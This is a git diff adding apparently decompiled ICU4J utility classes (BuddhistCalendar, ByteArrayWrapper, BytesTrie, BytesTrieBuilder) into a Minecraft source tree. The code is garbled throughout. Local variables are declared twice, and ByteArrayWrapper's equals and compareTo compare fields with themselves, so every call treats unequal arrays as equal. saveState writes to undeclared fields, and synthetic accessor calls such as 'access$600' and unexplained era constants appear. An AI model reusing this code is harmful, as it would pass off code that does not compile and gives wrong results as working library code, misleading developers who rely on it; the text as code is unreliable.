+      result[2] = annualRules[1];
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public void getOffsetFromLocal(long date, int nonExistingTimeOpt, int duplicatedTimeOpt, int[] offsets)
+  {
+    throw new IllegalStateException("Not implemented");
+  }
+  
+
+
+
+
+  protected BasicTimeZone() {}
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  protected BasicTimeZone(String ID)
+  {
+    super(ID);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/BuddhistCalendar.java b/src/minecraft/com/ibm/icu/util/BuddhistCalendar.java
new file mode 100644
index 0000000..4d58c88
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/BuddhistCalendar.java
@@ -0,0 +1,245 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BuddhistCalendar
+  extends GregorianCalendar
+{
+  private static final long serialVersionUID = 2583005278132380631L;
+  public static final int BE = 0;
+  private static final int BUDDHIST_ERA_START = -543;
+  private static final int GREGORIAN_EPOCH = 1970;
+  
+  public BuddhistCalendar() {}
+  
+  public BuddhistCalendar(TimeZone zone)
+  {
+    super(zone);
+  }
+  
+
+
+
+
+
+
+  public BuddhistCalendar(Locale aLocale)
+  {
+    super(aLocale);
+  }
+  
+
+
+
+
+
+
+  public BuddhistCalendar(ULocale locale)
+  {
+    super(locale);
+  }
+  
+
+
+
+
+
+
+
+
+  public BuddhistCalendar(TimeZone zone, Locale aLocale)
+  {
+    super(zone, aLocale);
+  }
+  
+
+
+
+
+
+
+
+
+  public BuddhistCalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale);
+  }
+  
+
+
+
+
+
+
+  public BuddhistCalendar(Date date)
+  {
+    this();
+    setTime(date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public BuddhistCalendar(int year, int month, int date)
+  {
+    super(year, month, date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BuddhistCalendar(int year, int month, int date, int hour, int minute, int second)
+  {
+    super(year, month, date, hour, minute, second);
+  }
+  
+
+
+
+
+
+
+  protected int handleGetExtendedYear()
+  {
+    int year;
+    
+
+
+
+
+    int year;
+    
+
+
+
+
+    if (newerField(19, 1) == 19) {
+      year = internalGet(19, 1970);
+    } else {
+      year = internalGet(1, 2513) + 64993;
+    }
+    
+    return year;
+  }
+  
+
+
+
+  protected int handleComputeMonthStart(int eyear, int month, boolean useMonth)
+  {
+    return super.handleComputeMonthStart(eyear, month, useMonth);
+  }
+  
+
+
+  protected void handleComputeFields(int julianDay)
+  {
+    super.handleComputeFields(julianDay);
+    int y = internalGet(19) - 64993;
+    internalSet(0, 0);
+    internalSet(1, y);
+  }
+  
+
+
+
+
+
+  protected int handleGetLimit(int field, int limitType)
+  {
+    if (field == 0) {
+      return 0;
+    }
+    return super.handleGetLimit(field, limitType);
+  }
+  
+
+
+
+  public String getType()
+  {
+    return "buddhist";
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/ByteArrayWrapper.java b/src/minecraft/com/ibm/icu/util/ByteArrayWrapper.java
new file mode 100644
index 0000000..fb6b656
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/ByteArrayWrapper.java
@@ -0,0 +1,283 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.Utility;
+import java.nio.ByteBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ByteArrayWrapper
+  implements Comparable<ByteArrayWrapper>
+{
+  public byte[] bytes;
+  public int size;
+  
+  public ByteArrayWrapper() {}
+  
+  public ByteArrayWrapper(byte[] bytesToAdopt, int size)
+  {
+    if (((bytesToAdopt == null) && (size != 0)) || (size < 0) || (size > bytesToAdopt.length)) {
+      throw new IndexOutOfBoundsException("illegal size: " + size);
+    }
+    bytes = bytesToAdopt;
+    this.size = size;
+  }
+  
+
+
+
+
+  public ByteArrayWrapper(ByteBuffer source)
+  {
+    size = source.limit();
+    bytes = new byte[size];
+    source.get(bytes, 0, size);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ByteArrayWrapper ensureCapacity(int capacity)
+  {
+    if ((bytes == null) || (bytes.length < capacity)) {
+      byte[] newbytes = new byte[capacity];
+      copyBytes(bytes, 0, newbytes, 0, size);
+      bytes = newbytes;
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final ByteArrayWrapper set(byte[] src, int start, int limit)
+  {
+    size = 0;
+    append(src, start, limit);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final ByteArrayWrapper append(byte[] src, int start, int limit)
+  {
+    int len = limit - start;
+    ensureCapacity(size + len);
+    copyBytes(src, start, bytes, size, len);
+    size += len;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final byte[] releaseBytes()
+  {
+    byte[] result = bytes;
+    bytes = null;
+    size = 0;
+    return result;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder result = new StringBuilder();
+    for (int i = 0; i < size; i++) {
+      if (i != 0) result.append(" ");
+      result.append(Utility.hex(bytes[i] & 0xFF, 2));
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (this == other) return true;
+    if (other == null) return false;
+    try {
+      ByteArrayWrapper that = (ByteArrayWrapper)other;
+      if (size != size) return false;
+      for (int i = 0; i < size; i++) {
+        if (bytes[i] != bytes[i]) return false;
+      }
+      return true;
+    }
+    catch (ClassCastException e) {}
+    
+    return false;
+  }
+  
+
+
+
+
+  public int hashCode()
+  {
+    int result = bytes.length;
+    for (int i = 0; i < size; i++) {
+      result = 37 * result + bytes[i];
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  public int compareTo(ByteArrayWrapper other)
+  {
+    if (this == other) return 0;
+    int minSize = size < size ? size : size;
+    for (int i = 0; i < minSize; i++) {
+      if (bytes[i] != bytes[i]) {
+        return (bytes[i] & 0xFF) - (bytes[i] & 0xFF);
+      }
+    }
+    return size - size;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static final void copyBytes(byte[] src, int srcoff, byte[] tgt, int tgtoff, int length)
+  {
+    if (length < 64) {
+      int i = srcoff; for (int n = tgtoff;; n++) { length--; if (length < 0) break;
+        tgt[n] = src[i];i++;
+      }
+    }
+    else {
+      System.arraycopy(src, srcoff, tgt, tgtoff, length);
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/BytesTrie.java b/src/minecraft/com/ibm/icu/util/BytesTrie.java
new file mode 100644
index 0000000..ad1966a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/BytesTrie.java
@@ -0,0 +1,985 @@
+package com.ibm.icu.util;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class BytesTrie
+  implements Cloneable, Iterable<Entry>
+{
+  public BytesTrie(byte[] trieBytes, int offset)
+  {
+    bytes_ = trieBytes;
+    pos_ = (this.root_ = offset);
+    remainingMatchLength_ = -1;
+  }
+  
+
+
+
+
+
+  public Object clone()
+    throws CloneNotSupportedException
+  {
+    return super.clone();
+  }
+  
+
+
+
+
+  public BytesTrie reset()
+  {
+    pos_ = root_;
+    remainingMatchLength_ = -1;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BytesTrie saveState(State state)
+  {
+    bytes = bytes_;
+    root = root_;
+    pos = pos_;
+    remainingMatchLength = remainingMatchLength_;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public BytesTrie resetToState(State state)
+  {
+    if ((bytes_ == bytes) && (bytes_ != null) && (root_ == root)) {
+      pos_ = pos;
+      remainingMatchLength_ = remainingMatchLength;
+    } else {
+      throw new IllegalArgumentException("incompatible trie state");
+    }
+    return this;
+  }
+  
+  public static final class State
+  {
+    private byte[] bytes;
+    private int root;
+    private int pos;
+    private int remainingMatchLength;
+    
+    public State() {}
+  }
+  
+  public static enum Result
+  {
+    NO_MATCH, 
+    
+
+
+
+
+
+    NO_VALUE, 
+    
+
+
+
+
+
+
+    FINAL_VALUE, 
+    
+
+
+
+
+
+
+    INTERMEDIATE_VALUE;
+    
+
+
+
+    private Result() {}
+    
+
+
+    public boolean matches()
+    {
+      return this != NO_MATCH;
+    }
+    
+
+
+
+    public boolean hasValue()
+    {
+      return ordinal() >= 2;
+    }
+    
+
+
+    public boolean hasNext()
+    {
+      return (ordinal() & 0x1) != 0;
+    }
+  }
+  
+
+
+
+
+  public Result current()
+  {
+    int pos = pos_;
+    if (pos < 0) {
+      return Result.NO_MATCH;
+    }
+    int node;
+    return (remainingMatchLength_ < 0) && ((node = bytes_[pos] & 0xFF) >= 32) ? valueResults_[(node & 0x1)] : Result.NO_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Result first(int inByte)
+  {
+    remainingMatchLength_ = -1;
+    if (inByte < 0) {
+      inByte += 256;
+    }
+    return nextImpl(root_, inByte);
+  }
+  
+
+
+
+
+
+
+  public Result next(int inByte)
+  {
+    int pos = pos_;
+    if (pos < 0) {
+      return Result.NO_MATCH;
+    }
+    if (inByte < 0) {
+      inByte += 256;
+    }
+    int length = remainingMatchLength_;
+    if (length >= 0)
+    {
+      if (inByte == (bytes_[(pos++)] & 0xFF)) {
+        remainingMatchLength_ = (--length);
+        pos_ = pos;
+        int node;
+        return (length < 0) && ((node = bytes_[pos] & 0xFF) >= 32) ? valueResults_[(node & 0x1)] : Result.NO_VALUE;
+      }
+      
+      stop();
+      return Result.NO_MATCH;
+    }
+    
+    return nextImpl(pos, inByte);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Result next(byte[] s, int sIndex, int sLimit)
+  {
+    if (sIndex >= sLimit)
+    {
+      return current();
+    }
+    int pos = pos_;
+    if (pos < 0) {
+      return Result.NO_MATCH;
+    }
+    int length = remainingMatchLength_;
+    
+
+
+    for (;;)
+    {
+      if (sIndex == sLimit) {
+        remainingMatchLength_ = length;
+        pos_ = pos;
+        int node;
+        return (length < 0) && ((node = bytes_[pos] & 0xFF) >= 32) ? valueResults_[(node & 0x1)] : Result.NO_VALUE;
+      }
+      
+      byte inByte = s[(sIndex++)];
+      if (length < 0) {
+        remainingMatchLength_ = length;
+      }
+      else {
+        if (inByte != bytes_[pos]) {
+          stop();
+          return Result.NO_MATCH;
+        }
+        pos++;
+        length--; continue;
+      }
+      for (;;) {
+        int node = bytes_[(pos++)] & 0xFF;
+        if (node < 16) {
+          Result result = branchNext(pos, node, inByte & 0xFF);
+          if (result == Result.NO_MATCH) {
+            return Result.NO_MATCH;
+          }
+          
+          if (sIndex == sLimit) {
+            return result;
+          }
+          if (result == Result.FINAL_VALUE)
+          {
+            stop();
+            return Result.NO_MATCH;
+          }
+          inByte = s[(sIndex++)];
+          pos = pos_;
+        } else { if (node < 32)
+          {
+            length = node - 16;
+            if (inByte != bytes_[pos]) {
+              stop();
+              return Result.NO_MATCH;
+            }
+            pos++;
+            length--;
+            break; }
+          if ((node & 0x1) != 0)
+          {
+            stop();
+            return Result.NO_MATCH;
+          }
+          
+          pos = skipValue(pos, node);
+          
+          assert ((bytes_[pos] & 0xFF) < 32);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public int getValue()
+  {
+    int pos = pos_;
+    int leadByte = bytes_[(pos++)] & 0xFF;
+    assert (leadByte >= 32);
+    return readValue(bytes_, pos, leadByte >> 1);
+  }
+  
+
+
+
+
+
+
+
+  public long getUniqueValue()
+  {
+    int pos = pos_;
+    if (pos < 0) {
+      return 0L;
+    }
+    
+    long uniqueValue = findUniqueValue(bytes_, pos + remainingMatchLength_ + 1, 0L);
+    
+    return uniqueValue << 31 >> 31;
+  }
+  
+
+
+
+
+
+
+
+  public int getNextBytes(Appendable out)
+  {
+    int pos = pos_;
+    if (pos < 0) {
+      return 0;
+    }
+    if (remainingMatchLength_ >= 0) {
+      append(out, bytes_[pos] & 0xFF);
+      return 1;
+    }
+    int node = bytes_[(pos++)] & 0xFF;
+    if (node >= 32) {
+      if ((node & 0x1) != 0) {
+        return 0;
+      }
+      pos = skipValue(pos, node);
+      node = bytes_[(pos++)] & 0xFF;
+      assert (node < 32);
+    }
+    
+    if (node < 16) {
+      if (node == 0) {
+        node = bytes_[(pos++)] & 0xFF;
+      }
+      getNextBranchBytes(bytes_, pos, ++node, out);
+      return node;
+    }
+    
+    append(out, bytes_[pos] & 0xFF);
+    return 1;
+  }
+  
+
+
+
+
+
+  public Iterator iterator()
+  {
+    return new Iterator(bytes_, pos_, remainingMatchLength_, 0, null);
+  }
+  
+
+
+
+
+
+
+  public Iterator iterator(int maxStringLength)
+  {
+    return new Iterator(bytes_, pos_, remainingMatchLength_, maxStringLength, null);
+  }
+  
+
+
+
+
+
+
+
+
+  public static Iterator iterator(byte[] trieBytes, int offset, int maxStringLength)
+  {
+    return new Iterator(trieBytes, offset, -1, maxStringLength, null);
+  }
+  
+  public static final class Entry {
+    public int value;
+    private byte[] bytes;
+    private int length;
+    
+    private Entry(int capacity) {
+      bytes = new byte[capacity];
+    }
+    
+
+
+    public int bytesLength()
+    {
+      return length;
+    }
+    
+
+
+    public byte byteAt(int index)
+    {
+      return bytes[index];
+    }
+    
+
+
+
+    public void copyBytesTo(byte[] dest, int destOffset)
+    {
+      System.arraycopy(bytes, 0, dest, destOffset, length);
+    }
+    
+
+
+    public ByteBuffer bytesAsByteBuffer()
+    {
+      return ByteBuffer.wrap(bytes, 0, length).asReadOnlyBuffer();
+    }
+    
+
+
+
+
+
+    private void ensureCapacity(int len)
+    {
+      if (bytes.length < len) {
+        byte[] newBytes = new byte[Math.min(2 * bytes.length, 2 * len)];
+        System.arraycopy(bytes, 0, newBytes, 0, length);
+        bytes = newBytes;
+      }
+    }
+    
+    private void append(byte b) { ensureCapacity(length + 1);
+      bytes[(length++)] = b;
+    }
+    
+    private void append(byte[] b, int off, int len) { ensureCapacity(length + len);
+      System.arraycopy(b, off, bytes, length, len);
+      length += len; }
+    
+    private void truncateString(int newLength) { length = newLength; }
+  }
+  
+  public static final class Iterator implements Iterator<BytesTrie.Entry> {
+    private byte[] bytes_;
+    private int pos_;
+    private int initialPos_;
+    private int remainingMatchLength_;
+    private int initialRemainingMatchLength_;
+    private int maxLength_;
+    private BytesTrie.Entry entry_;
+    
+    private Iterator(byte[] trieBytes, int offset, int remainingMatchLength, int maxStringLength) { bytes_ = trieBytes;
+      pos_ = (this.initialPos_ = offset);
+      remainingMatchLength_ = (this.initialRemainingMatchLength_ = remainingMatchLength);
+      maxLength_ = maxStringLength;
+      entry_ = new BytesTrie.Entry(maxLength_ != 0 ? maxLength_ : 32, null);
+      int length = remainingMatchLength_;
+      if (length >= 0)
+      {
+        length++;
+        if ((maxLength_ > 0) && (length > maxLength_)) {
+          length = maxLength_;
+        }
+        BytesTrie.Entry.access$600(entry_, bytes_, pos_, length);
+        pos_ += length;
+        remainingMatchLength_ -= length;
+      }
+    }
+    
+
+
+
+
+    public Iterator reset()
+    {
+      pos_ = initialPos_;
+      remainingMatchLength_ = initialRemainingMatchLength_;
+      int length = remainingMatchLength_ + 1;
+      if ((maxLength_ > 0) && (length > maxLength_)) {
+        length = maxLength_;
+      }
+      BytesTrie.Entry.access$700(entry_, length);
+      pos_ += length;
+      remainingMatchLength_ -= length;
+      stack_.clear();
+      return this;
+    }
+    
+
+
+    public boolean hasNext()
+    {
+      return (pos_ >= 0) || (!stack_.isEmpty());
+    }
+    
+
+
+
+
+
+
+
+
+
+    public BytesTrie.Entry next()
+    {
+      int pos = pos_;
+      if (pos < 0) {
+        if (stack_.isEmpty()) {
+          throw new NoSuchElementException();
+        }
+        
+
+        long top = ((Long)stack_.remove(stack_.size() - 1)).longValue();
+        int length = (int)top;
+        pos = (int)(top >> 32);
+        BytesTrie.Entry.access$700(entry_, length & 0xFFFF);
+        length >>>= 16;
+        if (length > 1) {
+          pos = branchNext(pos, length);
+          if (pos < 0) {
+            return entry_;
+          }
+        } else {
+          BytesTrie.Entry.access$800(entry_, bytes_[(pos++)]);
+        }
+      }
+      if (remainingMatchLength_ >= 0)
+      {
+
+        return truncateAndStop();
+      }
+      for (;;) {
+        int node = bytes_[(pos++)] & 0xFF;
+        if (node >= 32)
+        {
+          boolean isFinal = (node & 0x1) != 0;
+          entry_.value = BytesTrie.readValue(bytes_, pos, node >> 1);
+          if ((isFinal) || ((maxLength_ > 0) && (BytesTrie.Entry.access$1000(entry_) == maxLength_))) {
+            pos_ = -1;
+          } else {
+            pos_ = BytesTrie.skipValue(pos, node);
+          }
+          return entry_;
+        }
+        if ((maxLength_ > 0) && (BytesTrie.Entry.access$1000(entry_) == maxLength_)) {
+          return truncateAndStop();
+        }
+        if (node < 16) {
+          if (node == 0) {
+            node = bytes_[(pos++)] & 0xFF;
+          }
+          pos = branchNext(pos, node + 1);
+          if (pos < 0) {
+            return entry_;
+          }
+        }
+        else {
+          int length = node - 16 + 1;
+          if ((maxLength_ > 0) && (BytesTrie.Entry.access$1000(entry_) + length > maxLength_)) {
+            BytesTrie.Entry.access$600(entry_, bytes_, pos, maxLength_ - BytesTrie.Entry.access$1000(entry_));
+            return truncateAndStop();
+          }
+          BytesTrie.Entry.access$600(entry_, bytes_, pos, length);
+          pos += length;
+        }
+      }
+    }
+    
+
+
+
+
+    public void remove()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    private BytesTrie.Entry truncateAndStop() {
+      pos_ = -1;
+      entry_.value = -1;
+      return entry_;
+    }
+    
+    private int branchNext(int pos, int length) {
+      while (length > 5) {
+        pos++;
+        
+        stack_.add(Long.valueOf(BytesTrie.skipDelta(bytes_, pos) << 32 | length - (length >> 1) << 16 | BytesTrie.Entry.access$1000(entry_)));
+        
+        length >>= 1;
+        pos = BytesTrie.jumpByDelta(bytes_, pos);
+      }
+      
+
+      byte trieByte = bytes_[(pos++)];
+      int node = bytes_[(pos++)] & 0xFF;
+      boolean isFinal = (node & 0x1) != 0;
+      int value = BytesTrie.readValue(bytes_, pos, node >> 1);
+      pos = BytesTrie.skipValue(pos, node);
+      stack_.add(Long.valueOf(pos << 32 | length - 1 << 16 | BytesTrie.Entry.access$1000(entry_)));
+      BytesTrie.Entry.access$800(entry_, trieByte);
+      if (isFinal) {
+        pos_ = -1;
+        entry_.value = value;
+        return -1;
+      }
+      return pos + value;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private ArrayList<Long> stack_ = new ArrayList();
+  }
+  
+  private void stop() {
+    pos_ = -1;
+  }
+  
+  private static int readValue(byte[] bytes, int pos, int leadByte)
+  {
+    int value;
+    int value;
+    if (leadByte < 81) {
+      value = leadByte - 16; } else { int value;
+      if (leadByte < 108) {
+        value = leadByte - 81 << 8 | bytes[pos] & 0xFF; } else { int value;
+        if (leadByte < 126) {
+          value = leadByte - 108 << 16 | (bytes[pos] & 0xFF) << 8 | bytes[(pos + 1)] & 0xFF; } else { int value;
+          if (leadByte == 126) {
+            value = (bytes[pos] & 0xFF) << 16 | (bytes[(pos + 1)] & 0xFF) << 8 | bytes[(pos + 2)] & 0xFF;
+          } else
+            value = bytes[pos] << 24 | (bytes[(pos + 1)] & 0xFF) << 16 | (bytes[(pos + 2)] & 0xFF) << 8 | bytes[(pos + 3)] & 0xFF;
+        } } }
+    return value;
+  }
+  
+  private static int skipValue(int pos, int leadByte) { assert (leadByte >= 32);
+    if (leadByte >= 162) {
+      if (leadByte < 216) {
+        pos++;
+      } else if (leadByte < 252) {
+        pos += 2;
+      } else {
+        pos += 3 + (leadByte >> 1 & 0x1);
+      }
+    }
+    return pos;
+  }
+  
+  private static int skipValue(byte[] bytes, int pos) { int leadByte = bytes[(pos++)] & 0xFF;
+    return skipValue(pos, leadByte);
+  }
+  
+  private static int jumpByDelta(byte[] bytes, int pos)
+  {
+    int delta = bytes[(pos++)] & 0xFF;
+    if (delta >= 192)
+    {
+      if (delta < 240) {
+        delta = delta - 192 << 8 | bytes[(pos++)] & 0xFF;
+      } else if (delta < 254) {
+        delta = delta - 240 << 16 | (bytes[pos] & 0xFF) << 8 | bytes[(pos + 1)] & 0xFF;
+        pos += 2;
+      } else if (delta == 254) {
+        delta = (bytes[pos] & 0xFF) << 16 | (bytes[(pos + 1)] & 0xFF) << 8 | bytes[(pos + 2)] & 0xFF;
+        pos += 3;
+      } else {
+        delta = bytes[pos] << 24 | (bytes[(pos + 1)] & 0xFF) << 16 | (bytes[(pos + 2)] & 0xFF) << 8 | bytes[(pos + 3)] & 0xFF;
+        pos += 4;
+      } }
+    return pos + delta;
+  }
+  
+  private static int skipDelta(byte[] bytes, int pos) {
+    int delta = bytes[(pos++)] & 0xFF;
+    if (delta >= 192) {
+      if (delta < 240) {
+        pos++;
+      } else if (delta < 254) {
+        pos += 2;
+      } else {
+        pos += 3 + (delta & 0x1);
+      }
+    }
+    return pos;
+  }
+  
+  private static Result[] valueResults_ = { Result.INTERMEDIATE_VALUE, Result.FINAL_VALUE };
+  static final int kMaxBranchLinearSubNodeLength = 5;
+  static final int kMinLinearMatch = 16;
+  static final int kMaxLinearMatchLength = 16;
+  
+  private Result branchNext(int pos, int length, int inByte) { if (length == 0) {
+      length = bytes_[(pos++)] & 0xFF;
+    }
+    length++;
+    
+
+    while (length > 5) {
+      if (inByte < (bytes_[(pos++)] & 0xFF)) {
+        length >>= 1;
+        pos = jumpByDelta(bytes_, pos);
+      } else {
+        length -= (length >> 1);
+        pos = skipDelta(bytes_, pos);
+      }
+    }
+    
+
+    do
+    {
+      if (inByte == (bytes_[(pos++)] & 0xFF))
+      {
+        int node = bytes_[pos] & 0xFF;
+        assert (node >= 32);
+        Result result; Result result; if ((node & 0x1) != 0)
+        {
+          result = Result.FINAL_VALUE;
+        }
+        else {
+          pos++;
+          
+          node >>= 1;
+          int delta;
+          int delta; if (node < 81) {
+            delta = node - 16; } else { int delta;
+            if (node < 108) {
+              delta = node - 81 << 8 | bytes_[(pos++)] & 0xFF;
+            } else if (node < 126) {
+              int delta = node - 108 << 16 | (bytes_[pos] & 0xFF) << 8 | bytes_[(pos + 1)] & 0xFF;
+              pos += 2;
+            } else if (node == 126) {
+              int delta = (bytes_[pos] & 0xFF) << 16 | (bytes_[(pos + 1)] & 0xFF) << 8 | bytes_[(pos + 2)] & 0xFF;
+              pos += 3;
+            } else {
+              delta = bytes_[pos] << 24 | (bytes_[(pos + 1)] & 0xFF) << 16 | (bytes_[(pos + 2)] & 0xFF) << 8 | bytes_[(pos + 3)] & 0xFF;
+              pos += 4;
+            }
+          }
+          pos += delta;
+          node = bytes_[pos] & 0xFF;
+          result = node >= 32 ? valueResults_[(node & 0x1)] : Result.NO_VALUE;
+        }
+        pos_ = pos;
+        return result;
+      }
+      length--;
+      pos = skipValue(bytes_, pos);
+    } while (length > 1);
+    if (inByte == (bytes_[(pos++)] & 0xFF)) {
+      pos_ = pos;
+      int node = bytes_[pos] & 0xFF;
+      return node >= 32 ? valueResults_[(node & 0x1)] : Result.NO_VALUE;
+    }
+    stop();
+    return Result.NO_MATCH; }
+  
+  static final int kMinValueLead = 32;
+  private static final int kValueIsFinal = 1;
+  static final int kMinOneByteValueLead = 16;
+  static final int kMaxOneByteValue = 64;
+  
+  private Result nextImpl(int pos, int inByte) { for (;;) { int node = bytes_[(pos++)] & 0xFF;
+      if (node < 16)
+        return branchNext(pos, node, inByte);
+      if (node < 32)
+      {
+        int length = node - 16;
+        if (inByte != (bytes_[(pos++)] & 0xFF)) break;
+        remainingMatchLength_ = (--length);
+        pos_ = pos;
+        return (length < 0) && ((node = bytes_[pos] & 0xFF) >= 32) ? valueResults_[(node & 0x1)] : Result.NO_VALUE;
+      }
+      
+
+
+
+      if ((node & 0x1) != 0) {
+        break;
+      }
+      
+
+      pos = skipValue(pos, node);
+      
+      assert ((bytes_[pos] & 0xFF) < 32);
+    }
+    
+    stop();
+    return Result.NO_MATCH;
+  }
+  
+  static final int kMinTwoByteValueLead = 81;
+  static final int kMaxTwoByteValue = 6911;
+  static final int kMinThreeByteValueLead = 108;
+  static final int kFourByteValueLead = 126;
+  static final int kMaxThreeByteValue = 1179647;
+  
+  private static long findUniqueValueFromBranch(byte[] bytes, int pos, int length, long uniqueValue) {
+    while (length > 5) {
+      pos++;
+      uniqueValue = findUniqueValueFromBranch(bytes, jumpByDelta(bytes, pos), length >> 1, uniqueValue);
+      if (uniqueValue == 0L) {
+        return 0L;
+      }
+      length -= (length >> 1);
+      pos = skipDelta(bytes, pos);
+    }
+    do {
+      pos++;
+      
+      int node = bytes[(pos++)] & 0xFF;
+      boolean isFinal = (node & 0x1) != 0;
+      int value = readValue(bytes, pos, node >> 1);
+      pos = skipValue(pos, node);
+      if (isFinal) {
+        if (uniqueValue != 0L) {
+          if (value != (int)(uniqueValue >> 1)) {
+            return 0L;
+          }
+        } else {
+          uniqueValue = value << 1 | 1L;
+        }
+      } else {
+        uniqueValue = findUniqueValue(bytes, pos + value, uniqueValue);
+        if (uniqueValue == 0L) {
+          return 0L;
+        }
+      }
+      length--; } while (length > 1);
+    
+    return pos + 1 << 33 | uniqueValue & 0x1FFFFFFFF;
+  }
+  
+  static final int kFiveByteValueLead = 127;
+  static final int kMaxOneByteDelta = 191;
+  static final int kMinTwoByteDeltaLead = 192;
+  
+  private static long findUniqueValue(byte[] bytes, int pos, long uniqueValue) {
+    for (;;) { int node = bytes[(pos++)] & 0xFF;
+      if (node < 16) {
+        if (node == 0) {
+          node = bytes[(pos++)] & 0xFF;
+        }
+        uniqueValue = findUniqueValueFromBranch(bytes, pos, node + 1, uniqueValue);
+        if (uniqueValue == 0L) {
+          return 0L;
+        }
+        pos = (int)(uniqueValue >>> 33);
+      } else if (node < 32)
+      {
+        pos += node - 16 + 1;
+      } else {
+        boolean isFinal = (node & 0x1) != 0;
+        int value = readValue(bytes, pos, node >> 1);
+        if (uniqueValue != 0L) {
+          if (value != (int)(uniqueValue >> 1)) {
+            return 0L;
+          }
+        } else {
+          uniqueValue = value << 1 | 1L;
+        }
+        if (isFinal) {
+          return uniqueValue;
+        }
+        pos = skipValue(pos, node);
+      } } }
+  
+  static final int kMinThreeByteDeltaLead = 240;
+  static final int kFourByteDeltaLead = 254;
+  static final int kFiveByteDeltaLead = 255;
+  static final int kMaxTwoByteDelta = 12287;
+  
+  private static void getNextBranchBytes(byte[] bytes, int pos, int length, Appendable out) { while (length > 5) {
+      pos++;
+      getNextBranchBytes(bytes, jumpByDelta(bytes, pos), length >> 1, out);
+      length -= (length >> 1);
+      pos = skipDelta(bytes, pos);
+    }
+    do {
+      append(out, bytes[(pos++)] & 0xFF);
+      pos = skipValue(bytes, pos);
+      length--; } while (length > 1);
+    append(out, bytes[pos] & 0xFF); }
+  
+  static final int kMaxThreeByteDelta = 917503;
+  
+  private static void append(Appendable out, int c) { try { out.append((char)c);
+    } catch (IOException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+  private byte[] bytes_;
+  private int root_;
+  private int pos_;
+  private int remainingMatchLength_;
+}
diff --git a/src/minecraft/com/ibm/icu/util/BytesTrieBuilder.java b/src/minecraft/com/ibm/icu/util/BytesTrieBuilder.java
new file mode 100644
index 0000000..df89c75
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/BytesTrieBuilder.java
@@ -0,0 +1,289 @@
+package com.ibm.icu.util;
+
+import java.nio.ByteBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class BytesTrieBuilder
+  extends StringTrieBuilder
+{
+  public BytesTrieBuilder() {}
+  
+  private static final class BytesAsCharSequence
+    implements CharSequence
+  {
+    private byte[] s;
+    private int len;
+    
+    public BytesAsCharSequence(byte[] sequence, int length)
+    {
+      s = sequence;
+      len = length; }
+    
+    public char charAt(int i) { return (char)(s[i] & 0xFF); }
+    public int length() { return len; }
+    public CharSequence subSequence(int start, int end) { return null; }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BytesTrieBuilder add(byte[] sequence, int length, int value)
+  {
+    addImpl(new BytesAsCharSequence(sequence, length), value);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public BytesTrie build(StringTrieBuilder.Option buildOption)
+  {
+    buildBytes(buildOption);
+    return new BytesTrie(bytes, bytes.length - bytesLength);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ByteBuffer buildByteBuffer(StringTrieBuilder.Option buildOption)
+  {
+    buildBytes(buildOption);
+    return ByteBuffer.wrap(bytes, bytes.length - bytesLength, bytesLength);
+  }
+  
+  private void buildBytes(StringTrieBuilder.Option buildOption)
+  {
+    if (bytes == null) {
+      bytes = new byte['Ѐ'];
+    }
+    buildImpl(buildOption);
+  }
+  
+
+
+
+
+
+  public BytesTrieBuilder clear()
+  {
+    clearImpl();
